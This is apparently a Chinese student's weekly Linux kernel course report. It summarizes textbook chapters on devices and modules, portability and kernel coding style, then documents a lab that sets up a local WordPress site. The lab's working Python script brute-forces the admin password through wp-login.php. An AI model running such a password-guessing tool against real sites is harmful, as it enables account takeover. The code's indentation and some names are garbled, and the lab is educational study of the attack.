20169207 《Linux内核原理与分析》第十一周作业
阅读学习教材「Linux内核设计与实现 (Linux Kernel Development)」第教材第17,19,20章。
在第17章设备与模块章节,关于设备驱动和设备管理,我们讨论四中内核成分。
1.设备类型:在所有Unix系统中为了统一普通设备的操作所采用的分类。
2.模块:Linux内核中用于按需加载和卸载目标码的机制。
3.内核对象:内核数据结构中支持面向对象的简单操作,还支持维护对象之间的父子关系。
4.sysfs:表示系统中设备树的一个文件系统。
在Linux中,设备被分为以下三种类型:
1.块设备
2.字符设备
3.网络设备
模块设备,hello world
hello_init(void)初始化函数,当模块装载时被调用,如果成功装载则返回零,否则返回非零值。----模块的入口点
hello_exit(void)退出函数,当模块卸载时被调用。
2.6的内核增加了一个引人注目的新特性-统一设备模型。该设备提供了一个独立的机制专门来表示设备,并描述其在系统中的拓扑结构,从而使得新系统具有如下优点:
1.代码重复最小化。
2.提供诸如引用计数这样的统一机制。
3.可以列举系统中的所有的设备,观察他们的状态,并且查看他们链接的总线。
4.可以将系统中的全部设备结构以树的形式完整,有效地展现出来。
5.可以将设备和其对应的驱动联系起来,反之亦然。
6.可以沿设备树的叶子向其根的方向依次遍历,以保证能以正确顺序关闭各设备的电源。
7.实现设备模型的最初动机。
本章中,我们主要学习了内核功能涉及设备驱动的实现和设备树的管理,包括模块、kobject和sysfs。讨论了内核中我们要学习的最后一个子系统。
在第19章可移植性章节,我门知道了Linux是一个可移植性非常好的操作系统,它广泛支持许多不同体系结构的计算机。
要想写出可移植性好,简洁,合适的内核代码,要注意一下两点:
1.编码尽量选取最大公因子:假定任何事情都有可能发生,任何潜在的约束也都存在。
2.编码尽量选取最小公约数:不要假定给定的内核特性是有用的,仅仅需要最小的体系结构功能。
编写可移植的代码需要考虑很多问题:字长、数据类型、填充、对齐、字节次序、符号、字节顺序、页大小以及处理器的加载/存储排列。
第20章补丁,开发和社区。
Linux的最大优势就是它有一个紧密团结了众多使用者和开发者的社区。社区能帮你检查代码,社区的专家给你提出忠告,社区中的用户能帮你进行测试,用户还能反馈存在的问题。
Linux的编码风格
1.缩进--缩进风格是用制表位每次缩进8个字符长度。
2.switch语句--switch语句下属的case标记应该缩进到和switch声明对齐,这样有助于减少8个字符的tab键带来的排版缩进。
3.空格--Linux编码风格规定,空格放在关键字周围,函数名和圆括号之间无空格。
4.花括号--内核选定的风格是左括号紧跟在语句的最后,与语句在相同的一行。
5.每行代码的长度--源代码中要尽可能地保证每行代码长度不超过80个字符,因为这样做可能使代码最合适在标准的80*24的终端上显示。
6.命名规范--命名中不允许使用骆驼拼写法、studly caps或者其他混合的大小写字符。
8.函数--根据经验,函数的代码长度不应该超过两屏,局部变量不应超过10个。
9.注释--代码的注释非常重要,但注释必须按照正确的方式进行。
10.typedef--内核的开发者们强烈反对使用typedef语句。
11.多用现成的东西--请勿闭门造车。内核本身就提供了字符串操作函数,压缩函数和一个链表接口,所以请使用他们。
12.在源码中减少使用ifdef--我们不赞成在源码中使用ifdef预处理指令。
13.结构初始化--结构初始化的时候必须在他的成员前加上结构标识符。
14.代码的事后修正--即使你得到了一段与内核编码风格风马牛不相及的代码,也不用发愁。只消抬抬手,indent工具就能帮你解决它。
接下来是本周的信息安全类实验,我们选取的是-----Python暴力猜解Web应用。
实验准备,因为本次实验是在自己Ubuntu 64位的环境下进行,没有实验室已经配置好的实验,所以我们需要自己搭配自己的环境。
实验需要1.mysql数据库:
在配置mysql数据库中,我们需要用到以下命令。
1.sudo apt-get install mysql-server
2.sudo apt-get install mysql-cilent
3.sudo apt-get install libmysqlclient-dev
安装过程中会提示设置密码什么的,注意设置不要忘了。然后用mysql -u root -p登陆数据库。

2.使用命令sudo apt-get install wordpress安装wordpress。
3.打开数据库并登录。


$ sudo service mysql start
$ mysql -u root
create database wordpress;
create user wordpress@localhost identified by '666';
grant create,drop,insert,delete,update,select on wordpress.* to wordpress@localhost;
结束后ctrl+d退出,然后在 wordpress 的配置文件中指定数据库用户的账号和密码,并创建后台管理员账号。
$ cd /var/www/html/wordpress
$ sudo gedit wp-config.php
添加if (!defined('DB_PASSWORD'))
define('DB_PASSWORD', '666');
4.启动服务器,安装python。

保存配置后,启动apache2服务,然后再浏览器中输入http://localhost/wordpress/wp-admin/install.php配置管理员用户名与密码。
查看cookies。

5.写python程序,新建一个test.py,代码如下:
!/usr/bin/env python
-- coding:utf-8 --
import requests
import sys
import itertools
import Queue
import threading
import time
class Bruter(object):
def init(self,user,characters,pwd_len,threads):
self.user = user
self.found = False
self.threads = threads
print '构建待测试口令队列中...'
self.pwd_queue = Queue.Queue()
for pwd in list(itertools.product(characters,repeat=pwd_len)):
self.pwd_queue.put(''.join(pwd))
self.result = None
print '构建成功!'
def brute(self):
for i in range(self.threads):
t = threading.Thread(target=self.__web_bruter)
t.start()
print '破解线程-->%s 启动' % t.ident
while(not self.pwd_queue.empty()):
sys.stdout.write('\r 进度: 还剩余%s个口令 (每1s刷新)' %self.pwd_queue.qsize())
sys.stdout.flush()
time.sleep(1)
print '\n破解完毕'
def __login(self,pwd):
url = 'http://localhost/wordpress/wp-login.php'
values = {'log':self.user,'pwd':pwd,'wp-submit':'Log In',
'redirect_to':'http://localhost/wordpress/wp-admin',
'test_cookie':'1'
}
my_cookie = {'wordpress_test_cookie':'WP Cookie check'}
r = requests.post(url,data=values,cookies=my_cookie,allow_redirects=False)
if r.status_code == 302:
return True
return False
def __web_bruter(self):
while not self.pwd_queue.empty() and not self.found:
pwd_test = self.pwd_queue.get()
if self.__login(pwd_test):
self.found = True
self.result = pwd_test
print '破解 %s 成功,密码为: %s' % (self.user,pwd_test)
else:
self.found = False
if name == 'main':
if len(sys.argv) != 5:
print '用法 : cmd [用户名] [密码字符] [密码长度] [线程数]'
exit(0)
b = Bruter(sys.argv[1],sys.argv[2],int(sys.argv[3]),int(sys.argv[4]))
b.brute()
print b.result
赋予执行权限,chmod 777 test.py;
然后就直接运行,命令./test.py,运行结果如下:

20169207 《Linux内核原理与分析》第十一周作业的更多相关文章
- 20169212《Linux内核原理与分析》第二周作业
<Linux内核原理与分析>第二周作业 这一周学习了MOOCLinux内核分析的第一讲,计算机是如何工作的?由于本科对相关知识的不熟悉,所以感觉有的知识理解起来了有一定的难度,不过多查查资 ...
- 20169210《Linux内核原理与分析》第二周作业
<Linux内核原理与分析>第二周作业 本周作业分为两部分:第一部分为观看学习视频并完成实验楼实验一:第二部分为看<Linux内核设计与实现>1.2.18章并安装配置内核. 第 ...
- 2018-2019-1 20189221 《Linux内核原理与分析》第九周作业
2018-2019-1 20189221 <Linux内核原理与分析>第九周作业 实验八 理理解进程调度时机跟踪分析进程调度与进程切换的过程 进程调度 进度调度时机: 1.中断处理过程(包 ...
- 2017-2018-1 20179215《Linux内核原理与分析》第二周作业
20179215<Linux内核原理与分析>第二周作业 这一周主要了解了计算机是如何工作的,包括现在存储程序计算机的工作模型.X86汇编指令包括几种内存地址的寻址方式和push.pop.c ...
- 2019-2020-1 20199329《Linux内核原理与分析》第九周作业
<Linux内核原理与分析>第九周作业 一.本周内容概述: 阐释linux操作系统的整体构架 理解linux系统的一般执行过程和进程调度的时机 理解linux系统的中断和进程上下文切换 二 ...
- 2019-2020-1 20199329《Linux内核原理与分析》第二周作业
<Linux内核原理与分析>第二周作业 一.上周问题总结: 未能及时整理笔记 Linux还需要多用 markdown格式不熟练 发布博客时间超过规定期限 二.本周学习内容: <庖丁解 ...
- 2019-2020-1 20209313《Linux内核原理与分析》第二周作业
2019-2020-1 20209313<Linux内核原理与分析>第二周作业 零.总结 阐明自己对"计算机是如何工作的"理解. 一.myod 步骤 复习c文件处理内容 ...
- 2018-2019-1 20189221《Linux内核原理与分析》第一周作业
Linux内核原理与分析 - 第一周作业 实验1 Linux系统简介 Linux历史 1991 年 10 月,Linus Torvalds想在自己的电脑上运行UNIX,可是 UNIX 的商业版本非常昂 ...
- 《Linux内核原理与分析》第一周作业 20189210
实验一 Linux系统简介 这一节主要学习了Linux的历史,Linux有关的重要人物以及学习Linux的方法,Linux和Windows的区别.其中学到了LInux中的应用程序大都为开源自由的软件, ...
- 2018-2019-1 20189221《Linux内核原理与分析》第二周作业
读书报告 <庖丁解牛Linux内核分析> 第 1 章 计算工作原理 1.1 存储程序计算机工作模型 1.2 x86-32汇编基础 1.3汇编一个简单的C语言程序并分析其汇编指令执行过程 因 ...
随机推荐
- 单元测试使用spring注解获取bean
在实际项目开发中经常会有单元测试,单元测试中经常会用类似这样的代码片段获取spring管理的bean @Test public void testSendEmail(){ MessageService ...
- 计算器类(C++&JAVA——表达式转换、运算、模板公式)
运行: (a+b)*c 后缀表达式:ab+c* 赋值: Enter the a : 10 Enter the b : 3 Enter the c : 5 结果为:65 代码是我从的逻辑判断系统改过来的 ...
- gdal source code c++ make windows
下载源码 GDAL源代码下载地址:http://trac.osgeo.org/gdal/wiki/DownloadSource,或者安装svn从源代码服务器下载,svn地址是:http://svn.o ...
- javascript 高级程序设计 一
前言: 作为一个即将毕业.正在实习的大学生,我也默默的进入了开发者的行列.从一开始的c#编码狗到java程序员再到现在的JS开发者,我一直 希望自己可以在这个'万恶'的互联网时代走的更远.但是我还是一 ...
- http协议(一)一些基础知识
当我们在浏览器的地址栏中输入网址,然后点击回车,接着,浏览器就会呈现出我们需要的web界面,那么,这个界面是怎么产生的? web的界面是根据我们输入的URL(网址.地址),浏览器从服务器端获取对应的文 ...
- 域名ping不通,ip地址ping得通
原因:dns服务器过期,需要更换dns服务器地址
- 让UI设计师崩溃的瞬间,你经历过哪些?
隔行如隔山,这句话人人耳熟能详,但其实隔行并不可怕,大家各谋其事,各尽其职,倒也互不打扰,真正可怕的是,是内行还要受外行指点江山,而最难的部分,便是那沟通.流畅的沟通,和声细语,是有如时雨之化者:无效 ...
- python flask 项目结构
1. 今天学习遇到一个问题,以前项目比较简单,所有的@app.route 都是写在一个文件app.py 中的,然后启动也是在这个文件中启动app.run .但是我今天 想写一个新的模块, 于是我新启了 ...
- django网页图片验证码功能
在一个正常的登录系统中,验证码是非常重要的,用于识别人机,毕竟我们都知道,这个世界中存在着万恶的爬虫,验证码有很多种方式,有图片的,有邮件的,有短信的,有拼图的,不管什么样的验证码,目的都是验证访问用 ...
- NOIP训练测试2(2017081502)
唔,这是今天第二场训练测试. 上一轮不够难,现在来一波更简单的.[滑稽] 注意时间! 测试时间:3小时 题目一:Cantor表 题目二:回文数 题目三:拼数 题目四:进制位 题目五:邮票面值设计 都是 ...
